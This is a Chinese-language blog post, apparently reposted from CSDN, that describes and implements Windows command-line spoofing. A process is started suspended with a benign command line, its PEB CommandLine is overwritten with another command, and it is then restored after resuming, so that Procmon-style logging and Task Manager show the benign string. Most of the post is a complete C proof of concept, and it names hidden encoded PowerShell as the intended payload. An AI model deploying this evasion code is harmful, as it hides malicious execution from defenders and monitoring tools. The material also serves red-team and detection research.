Abuse process command line

创建进程时,进程的command line保存在,进程环境块PEB的某个结构中。(PEB->_RTL_USER_PROCESS_PARAMETERS->CommandLine)

通过修改这个数据,可以达到隐藏command line的效果,并执行恶意的command line。(例如powershell.exe -w hidden -e IEX xxxx)
具体步骤如下:

0)在创建进程时,带上一个正常的command line,挂起该进程。
1)获取该进程的PEB信息,通过W/RPM函数,读取并修改该进程的command line
2)ResumeThread恢复进程执行

3)Sleep(500)毫秒,通过W/RPM函数,再修改回原来的command line

为什么要再修改回去呢?测试时,直接修改完PEB中保存的command line,是可以的。这种方式可以欺骗Procmon,等日志记录类的监控工具。
但是欺骗不了任务管理器,procexp等自动刷新进程列表的工具,换句话说,修改成恶意命令行以后,打开任务管理器,它会重新从每个进程的PEB中读取最新的command line,并展示出来。
这样的话,再恢复进程执行恶意command line后,再把PEB中修改成原来的command line,就可以做到,每次任务管理器看到的都是最后一次修改过的command line。

下图demo演示:创建cmd进程时执行的command_line 是 /c ping www.baidu.com

但其真实执行的是参数是/c calc.exe
在这里插入图片描述


#include "stdafx.h"
#include <windows.h>
#include <winternl.h>

int main()
{
	typedef NTSTATUS(WINAPI *_NtQueryInformationProcess)(
		_In_      HANDLE           ProcessHandle,
		_In_      PROCESSINFOCLASS ProcessInformationClass,
		_Out_     PVOID            ProcessInformation,
		_In_      ULONG            ProcessInformationLength,
		_Out_opt_ PULONG           ReturnLength
		);


	STARTUPINFOA si = { sizeof(STARTUPINFOA) };
	PROCESS_INFORMATION pi = {};
	CreateProcessA("c:\\windows\\system32\\cmd.exe", "/c ping www.baidu.com", NULL, NULL, NULL, CREATE_NEW_CONSOLE | CREATE_SUSPENDED, NULL, NULL, &si, &pi);




	USHORT usCmdLen = 0;
	USHORT usPathLen = 0;
	_NtQueryInformationProcess NtQueryInformationProcess = (_NtQueryInformationProcess)::GetProcAddress(
		LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess");

	PROCESS_BASIC_INFORMATION pbi = { 0 };
	NTSTATUS status = NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);

	PEB peb = { 0 };
	ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);

	RTL_USER_PROCESS_PARAMETERS Param = { 0 };
	ReadProcessMemory(pi.hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);

	CHAR szString[0x200] = {};

	ReadProcessMemory(pi.hProcess, Param.CommandLine.Buffer, szString, Param.CommandLine.Length, NULL);
	printf("按任意键改写命令行参数...\n");
	_gettch();
	WCHAR *szStringWrite=L"/c calc.exe";
	WriteProcessMemory(pi.hProcess, Param.CommandLine.Buffer, szStringWrite, (wcslen(szStringWrite) + 1) * 2, NULL);
	ResumeThread(pi.hThread);
	printf("按任意键恢复命令行参数...\n");
	_gettch();
	// 下面两行注释掉会写失败
	ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
	ReadProcessMemory(pi.hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);
	WCHAR *szStringReWrite = L"/c ping www.baidu.com";
	WriteProcessMemory(pi.hProcess, Param.CommandLine.Buffer, szStringReWrite, (wcslen(szStringReWrite) + 1) * 2, NULL);
	_gettch();
	return 0;
}

猜你喜欢

转载自blog.csdn.net/cssxn/article/details/89680843
今日推荐